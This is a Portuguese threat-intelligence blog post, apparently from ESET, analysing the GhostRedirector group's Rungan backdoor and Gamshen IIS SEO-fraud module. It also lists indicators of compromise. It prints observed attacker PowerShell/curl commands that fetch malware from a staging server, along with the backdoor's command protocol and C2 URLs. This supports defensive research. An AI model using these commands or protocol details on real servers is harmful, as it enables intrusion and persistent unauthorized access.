A equipe de pesquisa da ESET identificou um novo grupo de cibercriminosos, que batizamos de GhostRedirector, responsável por comprometer pelo menos 65 servidores Windows, principalmente no Brasil, Tailândia e Vietnã. O GhostRedirector utiliza duas ferramentas personalizadas até então não documentadas: um backdoor passivo em C++ chamado Rungan e um módulo malicioso para o Internet Information Services (IIS) chamado Gamshen.

O Rungan permite executar comandos nos servidores comprometidos, enquanto o Gamshen oferece fraude de SEO como serviço, manipulando resultados de busca para aumentar o ranking de páginas web específicas. O módulo só altera as respostas quando a solicitação vem do Googlebot, ou seja, não entrega conteúdo malicioso nem afeta visitantes comuns, mas ainda assim pode prejudicar a reputação do site comprometido ao associá-lo a técnicas de SEO questionáveis e aos sites favorecidos.

O Gamshen é implementado como um módulo nativo do IIS. O IIS é o servidor web da Microsoft para Windows, com arquitetura modular que suporta extensões nativas (DLL em C++) e gerenciadas (assembly .NET). Diferentes tipos de malware podem explorar essa tecnologia. O white paper de 2021 da ESET, Anatomy of native IIS malware, detalha os tipos de ameaças nativas e suas arquiteturas. O Gamshen é classificado como um trojan cujo principal objetivo é facilitar fraudes de SEO, semelhante ao IISerpent, documentado anteriormente pela ESET.

Além do Rungan e do Gamshen, o GhostRedirector utiliza outras ferramentas personalizadas, bem como os exploits públicos EfsPotato e BadPotato, para criar usuários privilegiados no servidor. Esses usuários podem ser usados para baixar e executar componentes maliciosos com privilégios elevados ou como backup caso o Rungan ou outras ferramentas sejam removidos do servidor comprometido. A ESET acredita que um cibercriminoso alinhado à China esteja por trás desses ataques. Neste post, detalhamos o arsenal do GhostRedirector e as técnicas usadas para comprometer seus alvos.

Principais pontos deste post:

  • Foram observados pelo menos 65 servidores Windows comprometidos em junho de 2025.
  • As vítimas estão principalmente no Brasil, Tailândia e Vietnã.
  • As vítimas não pertencem a um setor específico, mas a diversos, como seguros, saúde, varejo, transporte, tecnologia e educação.
  • O GhostRedirector desenvolveu um novo backdoor em C++ chamado Rungan, capaz de executar comandos no servidor da vítima.
  • O GhostRedirector também criou um módulo nativo malicioso para IIS chamado Gamshen, capaz de realizar fraudes de SEO; acredita-se que seu objetivo seja promover artificialmente diversos sites de apostas.
  • O GhostRedirector utiliza exploits públicos, como BadPotato e EfsPotato, para escalonamento de privilégios em servidores comprometidos.
  • Com base em diversos fatores, concluímos com confiança média que um ator de ameaça alinhado à China, até então desconhecido, está por trás desses ataques. Denominamos esse grupo de GhostRedirector.

Atribuição

Não foi possível atribuir este ataque a nenhum grupo conhecido; por isso, criamos o nome GhostRedirector para agrupar todas as atividades documentadas neste post. Essas atividades tiveram início em dezembro de 2024, mas conseguimos identificar outras amostras relacionadas que nos levam a acreditar que o GhostRedirector está ativo desde, pelo menos, agosto de 2024.

O GhostRedirector possui um arsenal que inclui o backdoor passivo em C++ Rungan, o trojan malicioso para IIS Gamshen e uma variedade de outras ferramentas. Agrupamos essas ferramentas com base em:

  • Sua presença no mesmo servidor comprometido dentro do mesmo período;
  • Um servidor de staging compartilhado;
  • Semelhanças nos caminhos PDB de várias ferramentas do GhostRedirector, conforme explicado abaixo.

Acreditamos que o GhostRedirector seja um cibercriminoso alinhado à China, com base nos seguintes fatores:

  • Múltiplas amostras das ferramentas do GhostRedirector contêm strings codificadas em chinês;
  • Um certificado de assinatura de código emitido para uma empresa chinesa foi utilizado no ataque;
  • Uma das senhas de usuários criados pelo GhostRedirector no servidor comprometido contém a palavra huang, que significa "amarelo" em chinês.

O GhostRedirector não é o primeiro caso conhecido de um cibercriminoso alinhado à China envolvido em fraude de SEO por meio de módulos maliciosos para IIS. No ano passado, a Cisco Talos publicou um post sobre um grupo chamado DragonRank, também alinhado à China, que realiza fraudes de SEO. Há alguma sobreposição na localização geográfica das vítimas (Tailândia, Índia e Holanda) e nos setores afetados (saúde, transporte e TI) em ambos os ataques. No entanto, é provável que esses ataques tenham sido oportunistas, explorando o maior número possível de servidores vulneráveis, em vez de mirar em um conjunto específico de instituições. Além dessas semelhanças, não há evidências que sugiram que DragonRank e GhostRedirector estejam relacionados, e por isso rastreamos essas atividades separadamente.

Vitimologia

A Figura 1 mostra um mapa de calor dos países afetados, combinando dados de duas fontes:

  • Telemetria da ESET, na qual detectamos esses ataques entre dezembro de 2024 e abril de 2025;
  • Nosso escaneamento em toda a internet realizado em junho de 2025, que nos ajudou a entender melhor a escala do ataque e a identificar vítimas adicionais.

Notificamos todas as vítimas identificadas por meio do nosso escaneamento na internet sobre o comprometimento.

Figure 1 - Countries where victims were detected
Figura 1. Países onde foram detectadas vítimas.

Com todas as informações coletadas, identificamos que pelo menos 65 servidores Windows foram comprometidos em todo o mundo. A maioria dos servidores afetados está no Brasil, Peru, Tailândia, Vietnã e Estados Unidos. Vale ressaltar que a maioria dos servidores comprometidos nos EUA aparentemente foi alugada por empresas sediadas nos países mencionados anteriormente. Acreditamos que o GhostRedirector tinha maior interesse em atingir vítimas na América do Sul e no Sul da Ásia.

Também observamos um pequeno número de casos em alguns países:

  • Canadá;
  • Finlândia;
  • Índia;
  • Holanda;
  • Filipinas;
  • Singapura.

O GhostRedirector não parece ter interesse em um setor ou vertical específico; identificamos vítimas em áreas como educação, saúde, seguros, transporte, tecnologia e varejo.

Acesso inicial

Com base na telemetria da ESET, acreditamos que o GhostRedirector obtém acesso inicial às vítimas explorando uma vulnerabilidade, provavelmente uma SQL Injection. Em seguida, utiliza o PowerShell para baixar diversas ferramentas maliciosas, todas provenientes do mesmo servidor de staging, 868id[.]com. Em alguns casos, observamos os cibercriminosos utilizando outro LOLBin, o CertUtil, com o mesmo objetivo.

Essa hipótese é reforçada pela nossa observação de que a maioria das execuções não autorizadas do PowerShell se originou do binário sqlserver.exe, que contém a stored procedure xp_cmdshell, capaz de executar comandos na máquina.

A seguir, exemplos de comandos detectados sendo executados nos servidores comprometidos:

  • cmd.exe /d /s /c " powershell curl  https://xzs.868id[.]com/EfsNetAutoUser_br.exe -OutFile C:\ProgramData\EfsNetAutoUser_br.exe"
  • cmd.exe /d /s /c " powershell curl  http://xz.868id[.]com/EfsPotato_sign.exe -OutFile C:\ProgramData\EfsPotato_sign.exe"
  • cmd.exe /d /s /c "powershell curl  https://xzs.868id[.]com/link.exe  -OutFile C:\ProgramData\link.exe"
  • powershell  curl  https://xzs.868id[.]com/iis/br/ManagedEngine64_v2.dll -OutFile  C:\ProgramData\Microsoft\DRM\log\ManagedEngine64.dll
  • powershell  curl https://xzs.868id[.]com/iis/IISAgentDLL.dll -OutFile  C:\ProgramData\Microsoft\DRM\log\miniscreen.dll

Também observamos que o GhostRedirector instalou o GoToHTTP no servidor web comprometido, após baixá-lo do mesmo servidor de staging. O GoToHTTP é uma ferramenta legítima que permite estabelecer uma conexão remota acessível por meio de um navegador.

O GhostRedirector utilizou o diretório C:\ProgramData\ para instalar seu malware, especificamente para o backdoor em C++ e o trojan para IIS, que ficam no diretório C:\ProgramData\Microsoft\DRM\log.

Visão geral do ataque

A Figura 2 mostra uma visão geral do ataque. Os invasores comprometem um servidor Windows e baixam e executam diversas ferramentas maliciosas, incluindo uma ferramenta de escalonamento de privilégios, malware que instala múltiplos webshells, o backdoor passivo em C++ Rungan e o trojan para IIS Gamshen.

O objetivo das ferramentas de escalonamento de privilégios é criar um usuário com permissões no grupo Administradores, permitindo que o GhostRedirector execute operações privilegiadas ou utilize essa conta como backup caso perca acesso ao servidor comprometido.

Figure 2 - Attack overview
Figura 2. Visão geral do ataque.

Exploits públicos explorando escalada de privilégios

Como parte de seu arsenal, o GhostRedirector criou várias ferramentas que exploram a tática de escalonamento de privilégios local (LPE), provavelmente com base nos exploits públicos EfsPotato e BadPotato.

Quase todas as amostras analisadas estavam ofuscadas com .NET Reactor, com múltiplas camadas de ofuscação. Algumas amostras foram assinadas de forma válida com um certificado de assinatura de código emitido pela TrustAsia RSA Code Signing CA G3, para a empresa 深圳市迪元素科技有限公司 (Shenzhen Diyuan Technology Co., Ltd.), com o thumbprint BE2AC4A5156DBD9FFA7A9F053F8FA4AF5885BE3C.

O objetivo principal dessas amostras era criar ou modificar uma conta de usuário no servidor comprometido e adicioná-la ao grupo Administradores.

Durante nossa análise, extraímos das amostras analisadas os seguintes nomes de usuário, que foram utilizados na criação desses usuários administradores maliciosos:

  • MysqlServiceEx
  • MysqlServiceEx2
  • Admin

A Figura 3 mostra o código decompilado utilizado por essas amostras para criar um usuário após a exploração bem-sucedida do escalonamento de privilégios. A senha foi ocultada por razões de segurança.

Figure 3 - Portion of decompiled code that creates a new user on a victim server
Figura 3. Trecho de código decompilado que cria um novo usuário em um servidor vítima.

Como mostrado na Figura 3, essas ferramentas de escalonamento de privilégios utilizam uma classe personalizada em C# chamada CUserHelper. Essa classe está implementada em uma DLL chamada Common.Global.DLL (SHA-1: 049C343A9DAAF3A93756562ED73375082192F5A8), que nomeamos Comdai, e que estava incorporada nas amostras analisadas.

Acreditamos que o Comdai foi criado pelos mesmos desenvolvedores do restante do arsenal do GhostRedirector, com base no padrão compartilhado nos respectivos caminhos PDB. Veja a substring repetida x5, apresentada na Tabela 1, que é comum entre o Rungan, o Gamshen e as ferramentas de escalonamento de privilégios.

Tabela 1. Strings PDB coletadas das ferramentas do GhostRedirector.

Sample SHA1 Sample type PDBs
049C343A9DAAF3A93756562ED73375082192F5A8 Comdai library F:\x5\netTools\oMain\Common.Global\obj\Release\Common.Global.pdb
28140A5A29EBA098BC6215DDAC8E56EACBB29B69 Rungan, C++ backdoor F:\x5\AvoidRandomKill-main\x64\Release\IISAgentDLL.pdb
871A4DF66A8BAC3E640B2D1C0AFC075BB3761954 Gamshen, IIS trojan F:\x5\AvoidRandomKill-main\Release\ManagedEngine64.pdb
371818BDC20669DF3CA44BE758200872D583A3B8 Tool to create a new user E:\x5\netTools\WinSystem\obj\Release\uedit32_sign.pdb

A Tabela 2 apresenta uma visão geral das principais classes implementadas no Comdai, utilizadas pelas diversas ferramentas de escalonamento de privilégios do GhostRedirector, juntamente com a descrição do comportamento de cada classe.

Observe a classe ExeHelper, que fornece uma função para executar um arquivo chamado link.exe. O GhostRedirector utilizou o mesmo nome de arquivo para implantar a ferramenta GoToHTTP.

Também vale destacar as capacidades semelhantes a um backdoor, incluindo comunicação em rede, execução de arquivos, listagem de diretórios e manipulação de serviços e chaves do registro do Windows. Embora não tenhamos observado o uso desses métodos por quaisquer componentes conhecidos do GhostRedirector, isso demonstra que o Comdai é uma ferramenta versátil, capaz de suportar diversas etapas do ataque.

Tabela 2. Classes implementadas no Comdai.

C# class Description
AES Encrypts/Decrypts AES in ECB mode.
Key: 030201090405060708091011121315
CUserHelper Lists users on a compromised server.
Creates a user with specified credentials and adds it into a group name also specified by an argument; by default it uses the Administrators group.
ExeHelper Used to execute a binary named link.exe. This name was used by the attackers for the GoToHTTP binary.
HttpHelper Can perform through different methods, GET and POST requests, with an unknown purpose, to a hardcoded URL – https://www.cs01[.]shop.
MsgData Contains only attributes, used by the class NodejsTX to deserialize a JSON object.
MyDll Invokes methods from an unknown DLL named MyDLL.dll.
NodejsTX Provides a method to communicate with another malicious component via pipes; the pipe is named salamander_pipe, which can receive parameters to create a specified user who is then added to the administrators group. This user creation is achieved by invoking a method from the CUserHelper class.
RegeditHelper Contains a method for reading the value of a specified windows registry key.
ScanfDirectory Contains methods for listing the contents of a specified directory.
ServiceHelper Contains methods to restart a specified service.
SystemHelper Contains methods to execute a binary or execute commands via ProcessStartInfo class. The binary or commands are provided to ProcessStartInfo as arguments.
UserStruct Contains only attributes, username – string
Groups – list<string>
Attributes are used by class CUserHelper for listing users.

Algumas exceções à regra

Descobrimos uma amostra (SHA-1: 21E877AB2430B72E3DB12881D878F78E0989BB7F) que utiliza o mesmo certificado, enviada ao VirusTotal em agosto de 2024, que acreditamos estar relacionada ao arsenal do GhostRedirector, embora não a tenhamos observado sendo usada durante esta campanha. Essa suposição se baseia no comportamento da amostra, que tenta abrir um arquivo de texto e enviar seu conteúdo para uma URL codificada. Para isso, a amostra contém uma DLL Comdai incorporada e invoca a classe C# HttpHelper do Comdai, que possui uma URL codificada como https://www.cs01[.]shop, o mesmo domínio mencionado na Tabela 2.

Também identificamos algumas ferramentas de escalonamento de privilégios que diferem um pouco do comportamento descrito anteriormente.

Por exemplo, em um caso (SHA-1: 5A01981D3F31AF47614E51E6C216BED70D921D60), em vez de criar um novo usuário, a amostra altera a senha de um usuário existente, Guest, para uma senha codificada no malware e, em seguida, utilizando a técnica de RID hijacking, tenta adicionar esse usuário ao grupo de administradores.

Em outro caso (SHA-1: 9DD282184DDFA796204C1D90A46CAA117F46C8E1), a ferramenta não apenas cria um novo usuário administrador, mas também instala múltiplos webshells em um caminho específico nos servidores da vítima, fornecido manualmente pelo GhostRedirector como argumento para a ferramenta.

Esses webshells estão incorporados nos recursos da amostra em texto claro, e os nomes são codificados. Os nomes que identificamos são:

  • C1.php
  • Cmd.aspx
  • Error.aspx
  • K32.asxp
  • K64.aspx
  • LandGrey.asp

Zunput, coletor de informações de sites e instalador de webshells

Outra ferramenta interessante usada pelo GhostRedirector tinha o nome de arquivo SitePuts.exe. Essa amostra (SHA-1: EE22BA5453ED577F8664CA390EB311D067E47786), que nomeamos Zunput, também foi desenvolvida com o .NET Framework e assinada com o certificado mencionado anteriormente. Ela lê a configuração do IIS em busca de sites configurados e obtém as seguintes informações sobre eles:

  • Caminho físico no servidor;
  • Nome do site;
  • Para cada site, os seguintes atributos:

    Protocolo

    Endereço IP

    ○ Nome do host

Após coletar essas informações, o Zunput verifica a existência do caminho físico no servidor e também confirma se o diretório contém pelo menos um arquivo com extensão .php, .aspx ou .asp. Dessa forma, o Zunput só mira sites ativos capazes de executar conteúdo dinâmico. Somente nesses diretórios ele então instala os webshells incorporados.

Os webshells estão incorporados nos recursos da amostra e, para as datas de cada webshell (criação, modificação, acesso), o malware utiliza a data de um arquivo existente no diretório.

Os webshells são escritos em ASP, PHP e JavaScript, e os nomes utilizados são selecionados aleatoriamente da seguinte lista:

  • Xml
  • Ajax
  • Sync
  • Loadapi
  • Loadhelp
  • Code
  • Jsload
  • Loadcss
  • Loadjs
  • Pop3
  • Imap
  • Api

As extensões usadas para os webshells são:

  • .cer
  • .pjp
  • .asp
  • .aspx

As informações coletadas durante a execução do Zunput são salvas em um arquivo chamado log.txt (veja um exemplo na Figura 4) no diretório de onde a ferramenta foi executada. Essas informações não são exfiltradas automaticamente pelo Zunput, mas podem ser obtidas pelos cibercriminosos por diversos métodos, sendo um deles o uso dos webshells implantados mencionados anteriormente.

Figure 4 - Example of saved content of log.txt
Figura 4. Exemplo do conteúdo salvo em log.txt, onde 分割线 significa "Linha divisória".

Payloads finais

Rungan, um backdoor passivo em C++

O Rungan (SHA-1: 28140A5A29EBA098BC6215DDAC8E56EACBB29B69) é um backdoor passivo em C/C++ que observamos sendo instalado em C:\ProgramData\Microsoft\DRM\log\miniscreen.dll.

Esse backdoor utiliza AES em modo CBC para descriptografar strings. O valor 030201090405060708090A0B0C0D0E0F  é usado como IV e chave. Com base no caminho PDB do malware, F:\x5\AvoidRandomKill-main\x64\Release\IISAgentDLL.pdb, acreditamos que o GhostRedirector reutiliza a implementação de AES do repositório AvoidRandomKill.

A principal funcionalidade desse backdoor é registrar uma URL em texto plano codificada (http://+:80/v1.0/8888/sys.html) no servidor comprometido, contornando o IIS por meio do HTTP Server API. Em seguida, o backdoor aguarda uma solicitação que corresponda a essa URL, interpreta os comandos recebidos e os executa no servidor comprometido.

URLs adicionais podem ser configuradas em um arquivo de configuração opcional chamado C:\Windows\Microsoft.NET\Framework64\v2.0.50727\1033\vbskui.dll. O Rungan escutará todas as requisições HTTP que correspondam aos padrões configurados, e a configuração pode ser atualizada por meio de um comando do backdoor. Para ativar o backdoor, qualquer requisição HTTP recebida deve conter uma combinação específica de parâmetros e valores, que estão codificados no Rungan.

Uma vez atendida essa verificação, o Rungan utiliza o parâmetro action para determinar o comando do backdoor e utiliza os dados no corpo da requisição HTTP como parâmetros do comando. Nenhuma criptografia ou codificação é utilizada no protocolo de C&C. As capacidades mais notáveis incluem criar um novo usuário ou executar comandos no servidor da vítima. Uma lista completa dos comandos do backdoor é apresentada na Tabela 3.

Tabela 3. Comandos do backdoor Rungan.

Parameter Body Description Response
mkuser user=<USERNAME>&pwd=<PASSWORD>&groupname=<GROUPNAME> Creates the specified user on the compromised server using the NetUserAdd Windows API. Status code of the operation.
listfolder path=<A_PATH> This looks unfinished: it collects information from selected path but doesn’t exfiltrate it. N/A
addurl url=<URL_1>|<URL_2> Registers URLs the backdoor will listen on. Can be more than one separated with |. The URL is also added to the configuration file. If a URL fails to register, the response will be Failed: <URL>, otherwise All Ok.
cmd cmdpath=<CMD_PATH>&mingl=<COMMAND_TO_EXECUTE> Executes a command on the victim’s server using pipes and the CreatePorcessA API. Command output.

As Figuras 5 e 6 mostram diferentes exemplos de requisições feitas ao malware durante uma análise dinâmica usando a ferramenta Postman em um ambiente simulado.

Figure 5 - Executing commands on a testing server
Figura 5. Execução de comandos em um servidor de teste.
Figure 6 - Adding a user through the malware on a testing server
Figura 6. Adição de um usuário pelo malware em um servidor de teste.

Gamshen, módulo malicioso para IIS

Desenvolvido como uma DLL em C/C++, o Gamshen é um módulo nativo malicioso para IIS. A principal funcionalidade desse malware é interceptar requisições feitas ao servidor comprometido pelo Googlebot, o rastreador do mecanismo de busca, e somente nesses casos modificar a resposta legítima do servidor. A resposta é alterada com base em dados solicitados dinamicamente ao servidor de C&C do Gamshen. Ao fazer isso, o GhostRedirector tenta manipular o ranking de buscas do Google de um site específico de terceiros, utilizando técnicas de SEO manipulativas e questionáveis, como a criação de backlinks artificiais do site legítimo comprometido para o site alvo. Anteriormente, documentamos um caso de trojan para IIS utilizando táticas semelhantes: veja IISerpent: Malware-driven SEO fraud as a service.

É importante mencionar que um usuário comum que visita o site afetado não perceberia nenhuma alteração e não seria afetado pelo comportamento malicioso, pois o Gamshen não dispara nenhuma de suas atividades maliciosas em requisições de visitantes regulares.

A Figura 7 mostra como um módulo malicioso que participa do esquema de fraude de SEO do IIS modifica a resposta legítima de um servidor comprometido quando uma requisição é feita pelo Google Crawler, também conhecido como Googlebot.

Figure 7 - Overview of an SEO fraud scheme
Figura 7. Visão geral de um esquema de fraude de SEO.

Para realizar isso, os cibercriminosos implementaram seu próprio código malicioso para os seguintes manipuladores de eventos do IIS:

  • OnBeginRequest
  • OnPreExecuteRequestHandler
  • OnPostExecuteRequestHandler
  • OnSendResponse

Quando o servidor comprometido recebe uma requisição HTTP, ela passa pelo pipeline de processamento de requisições do IIS, que aciona esses manipuladores em diferentes etapas do processo. Notavelmente, o manipulador OnSendResponse é acionado pouco antes de a resposta HTTP ser enviada pelo servidor comprometido. Como o Gamshen está instalado como um módulo do IIS, ele intercepta automaticamente cada requisição HTTP recebida nessas etapas e realiza três ações.

Primeiro, ele executa uma série de validações para filtrar apenas as requisições HTTP de interesse:

  • A requisição deve se originar de um rastreador do Google: ou o cabeçalho User-Agent contém a string Googlebot, ou o Referer contém a string google.com.
  • O método HTTP não deve ser POST.
  • O recurso solicitado não é uma imagem, folha de estilo ou recurso estático similar, ou seja, não possui nenhuma das seguintes extensões: .jpg.resx.png.jpeg.bmp.gif.ico.css,.js. Isso provavelmente evita a quebra da funcionalidade da interface.
  • A URL deve conter a string android_ ou corresponder a qualquer uma das seguintes expressões regulares:

 [/]?(android|plays|articles|details|iosapp|topnews|joga)_([0-9_]{6,20})(/|\\.\\w+)?

 [/]?(android|plays|articles|details|iosapp|topnews|joga)_([a-zA-Z0-9_]{6,8})\\/([a-zA-Z0-9_]{6,20})(/|\\.\\w+)?

 [/]?(android|plays|articles|details|iosapp|topnews|joga)\\/([0-9_]{6,20})(/|\\.\\w+)?

 [/]?(android|plays|articles|details|iosapp|topnews|joga)\\/([a-zA-Z]{8,10})(/|\\.\\w+)?

 [/]?([a-zA-Z0-9]{6,8})\\/([a-zA-Z0-9]{6,8})(/|\\.phtml|\\.xhtml|\\.phtm|\\.shtml)

 [/]?([a-zA-Z0-9_]{14})(/|\\.html|\\.htm)

 [/]?([a-zA-Z0-9]{6})\\/([a-zA-Z0-9]{8})(/|\\.html|\\.htm)

 [/]?([a-z0-9]{6})\\.xhtml

Em segundo lugar, o Gamshen modifica a resposta destinada ao rastreador do mecanismo de busca com dados obtidos de seu próprio servidor de C&C, bbrproxy.868id[.]com. Observamos três URLs sendo usadas para esse propósito:

  • https://brproxy.868id[.]com/index_base64.php?<ORIGINAL_URL>
  • https://brproxy.868id[.]com/tz_base64.php?<ORIGINAL_URL>
  • https://brproxy.868id[.]com/url/index_base64.php

Em todos os casos, a seguinte string User-Agent codificada é usada: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html). Uma resposta codificada em base64 é esperada, que é então decodificada e injetada na resposta HTTP destinada ao rastreador do mecanismo de busca.

Por fim, na última etapa do pipeline de processamento da requisição, pouco antes de a resposta HTTP ser enviada, o manipulador de evento OnSendResponse verifica a resposta para essas requisições do rastreador. Se a resposta tiver o código de status HTTP 404 – ou seja, se o Gamshen não conseguiu obter os dados maliciosos do servidor de C&C – ele realiza, em vez disso, um redirecionamento para um servidor de C&C diferente: http://gobr.868id[.]com/tz.php.

Não conseguimos obter uma resposta de brproxy.868id[.]com or gobr.868id[.]com, mas acreditamos que os dados suportam técnicas de SEO questionáveis, como keyword stuffing e inserção de backlinks maliciosos. No caso do redirecionamento, isso faria com que o mecanismo de busca associasse o site comprometido ao site alvo de terceiros, contaminando assim o índice de buscas.

Conseguimos, no entanto, investigar esses domínios no VirusTotal e encontrar imagens relacionadas – neste caso, imagens que anunciam um aplicativo de apostas para usuários de língua portuguesa. Acreditamos que esse site seja o beneficiário do esquema de fraude de SEO, facilitado por este módulo malicioso do IIS. O Gamshen provavelmente tenta comprometer o maior número possível de sites e utilizar sua reputação para direcionar tráfego para esse site de terceiros.

As Figuras 8 e 9 mostram duas imagens potencialmente usadas pelo GhostRedirector em seu esquema de fraude de SEO.

Figure 8 - A gambling website likely benefiting from the SEO fraud scheme
Figura 8. Um site de apostas provavelmente beneficiado pelo esquema de fraude de SEO.
Figure 9 - A gambling website likely benefiting from the SEO fraud scheme
Figura 9. Um site de apostas provavelmente beneficiado pelo esquema de fraude de SEO.

Conclusão

Neste blogpost, apresentamos um ator de ameaça até então desconhecido, alinhado à China, chamado GhostRedirector, e seu conjunto de ferramentas para comprometer e explorar servidores Windows. Além de permitir a execução remota de comandos nos servidores comprometidos, o GhostRedirector também implanta um módulo malicioso para IIS, o Gamshen, projetado para manipular resultados de busca do Google por meio de técnicas de SEO questionáveis. O Gamshen explora a credibilidade dos sites hospedados nos servidores comprometidos para promover um site de apostas de terceiros – potencialmente um cliente pagante participando de um esquema de SEO fraudulento como serviço.

O GhostRedirector também demonstra persistência e resiliência operacional, ao implantar múltiplas ferramentas de acesso remoto no servidor comprometido, além de criar contas de usuário não autorizadas, tudo para manter acesso de longo prazo à infraestrutura comprometida.

Dicas de mitigação podem ser encontradas em nosso white paper completo. Para qualquer dúvida ou para enviar amostras relacionadas ao tema, entre em contato conosco pelo e-mail threatintel@eset.com.

Indicadores de Comprometimento

Uma lista completa de indicadores de comprometimento (IoCs) e amostras pode ser encontrada em nosso repositório no GitHub.

Arquivos

SHA-1 Filename Detection Description
EE22BA5453ED577F8664CA390EB311D067E47786 SitePut.exe MSIL/Agent.FEZ Zunput, information collector and webshell installer.
677B3F9D780BE184528DE5967936693584D9769A EfsNetAutoUser.exe MSIL/HackTool.Agent.QJ A custom tool using the EfsPotato exploit to create a new user on the compromised server.
5D4D7C96A9E302053BDFAF2449F9A2AB3C806E63 NetAutoUser.exe MSIL/AddUser.S A custom tool using the BadPotato exploit to create a new user on the compromised server.
28140A5A29EBA098BC6215DDAC8E56EACBB29B69 miniscreen.dll Win64/Agent.ELA Rungan, a passive C++ backdoor.
371818BDC20669DF3CA44BE758200872D583A3B8 auto.exe Generik.KJWBIPC A tool to create a new user on the compromised server.
9DD282184DDFA796204C1D90A46CAA117F46C8E1 auto_sign.exe MSIL/Agent.XQL A tool to create a new user or deploy webshells on the compromised server.
87F354EAA1A6ED5AE51C4B1A1A801B6CF818DAFC EfsNetAutoUser.exe MSIL/HackTool.Agent.QJ A custom tool using the EfsPotato exploit to create a new user on the compromised server.
5A01981D3F31AF47614E51E6C216BED70D921D60 DotNet4.5.exe MSIL/AddUser.S Custom tool using BadPotato exploit to elevate privileges of an existing user.
6EBD7498FC3B744CED371C379BA537077DD97036 NetAUtoUser_sign.exe MSIL/AddUser.S Custom tool using BadPotato exploit to elevated privileges of an existing user.
0EE926E29874324E52DE816B74B12069529BB556 link.exe Win64/RemoteAdmin.GotoHTTP. A potentially unsafe application GoToHTTP tool.
373BD3CED51E19E88876B80225ECA65A5C01413F N/A PHP/Webshell.NWE Webshell.
5CFFC4B3B96256A45FB45056AE0A9DC76329C25A N/A ASP/Webshell.MP Webshell.
B017CEE02D74C92B2C65517101DC72AFA7D18F16 N/A PHP/Webshell.OHB Webshell.
A8EE056799BFEB709C08D0E41D9511CED5B1F19D N/A ASP/Webshell.UV Webshell.
C4681F768622BD613CBF46B218CDA06F87559825 N/A ASP/Webshell.KU Webshell.
E69E4E5822A81F68107B933B7653C487D055C51B N/A ASP/Webshell.UZ Webshell.
A3A55E4C1373E8287E4E4D5D3350AC665E1411A7 N/A ASP/Webshell.UY Webshell.
E6E4634CE5AFDA0688E73A2C21A2ECDABD5E155D N/A ASP/Webshell.UY Webshell.
5DFC2D0858DD7E811CD19938B8C28468BE494CB6 N/A ASP/Webshell.UX Webshell.
08AB5CC8618FA593D2DF91900067DB464DC72B3E ManagedEngine32_v2.dll Win32/BadIIS.AG Gamshen, a malicious IIS module.
871A4DF66A8BAC3E640B2D1C0AFC075BB3761954 ManagedEngine64_v2.dll Win64/BadIIS.CY Gamshen, a malicious IIS module.
049C343A9DAAF3A93756562ED73375082192F5A8 N/A MSIL/Agent.FFZ Comdai, a malicious multipurpose DLL used to create a malicious user.

Rede

IP Domain Hosting provider First seen Details
N/A xzs.868id[.]com N/A 2024‑12‑03 GhostRedirector staging server, hosted on Cloudflare.
104.233.192[.]1 xz.868id[.]com PEG TECH INC 2024‑12‑03 GhostRedirector staging server.
104.233.210[.]229 q.822th[.]com
www.881vn[.]com
PEG TECH INC 2023‑10‑06 GhostRedirector staging server.
N/A gobr.868id[.]com N/A 2024‑08‑25 Gamshen C&C server, hosted on Cloudflare.
N/A brproxy.868id[.]com N/A 2024‑08‑25 Gamshen C&C server, hosted on Cloudflare.
43.228.126[.]4 www.cs01[.]shop XIMBO Internet Limited 2024‑04‑01 Comdai C&C server.
103.251.112[.]11 N/A IRT‑HK‑ANS N/A GhostRedirector staging server.

Técnicas MITRE ATT&CK

Esta tabela foi construída utilizando a versão 17 do framework MITRE ATT&CK.

Tactic ID Name Description
Resource Development T1588.002 Obtain Capabilities: Tool GhostRedirector uses .NET Reactor to obfuscate its tools, and used EfsPotato and BadPotato to develop custom privilege escalation tools.
T1587.001 Develop Capabilities: Malware GhostRedirector develops its own malware
T1608.006 Stage Capabilities: SEO Poisoning GhostRedirector uses SEO poisoning to manipulate search results and drive traffic to a third-party website.
T1583.001 Acquire Infrastructure: Domains GhostRedirector uses malicious domains for hosting payloads and for its C&C servers.
T1583.004 Acquire Infrastructure: Server GhostRedirector leverages Cloudflare on its infrastructure.
T1608.001 Stage Capabilities: Upload Malware GhostRedirector has staged Rungan and Gamshen on attacker-controlled servers.
T1608.002 Stage Capabilities: Upload Tool GhostRedirector has staged various malicious and legitimate tools on attacker-controlled servers.
T1588.003 Obtain Capabilities: Code Signing Certificates GhostRedirector obtained a certificate for signing its tools, like those for privilege escalation.
Initial Access T1190 Exploit Public-Facing Application GhostRedirector exploits an unknown SQL injection vulnerability on the victim’s server.
Execution T1106 Native API GhostRedirector may use APIs such as HttpInitialize and HttpAddUrl for registering a URL.
T1059.001 Command and Scripting Interpreter: PowerShell GhostRedirector uses PowerShell interpreter to download malware.
T1059.003 Command and Scripting Interpreter: Windows Command Shell GhostRedirector can execute cmd.exe commands to download malware.
T1559 Inter-Process Communication Comdai can create a pipe to communicate and receive information from another process.
Persistence T1546 Event Triggered Execution Gamshen is loaded by the IIS Worker Process (w3wp.exe) when the IIS server receives an inbound HTTP request.
Privilege Escalation T1134 Access Token Manipulation GhostRedirector can manipulate tokens to perform a local privilege escalation.
T1112 Modify Registry GhostRedirector can modify a Windows registry key to perform RID hijacking.
Defense Evasion T1027 Obfuscated Files or Information GhostRedirector obfuscates its local privilege escalation tools using .NET Reactor.
T1027.009 Obfuscated Files or Information: Embedded Payloads GhostRedirector embedded webshells into its payloads like Zunput to be dropped on compromised server.
T1140 Deobfuscate/Decode Files or Information GhostRedirector uses AES in CBC mode to decrypt strings in the backdoor Rungan.
Discovery T1083 File and Directory Discovery GhostRedirector can use Zunput to list directory content on a victim’s server.
Command and Control T1105 Ingress Tool Transfer GhostRedirector can abuse the tool certutil.exe to download malware.
T1219 Remote Access Software GhostRedirector may use the GoToHTTP tool for connecting remotely to victims.
T1071.001 Application Layer Protocol: Web Protocols GhostRedirector relies on HTTP to communicate with the backdoor Rungan.
T1008 Fallback Channels GhostRedirector can deploy the tool GoToHTTP or create malicious users on the compromised server to maintain access.
Impact T1565 Data Manipulation GhostRedirector can modify the response of a compromised server intended for the Google crawler, in attempts to influence search results order.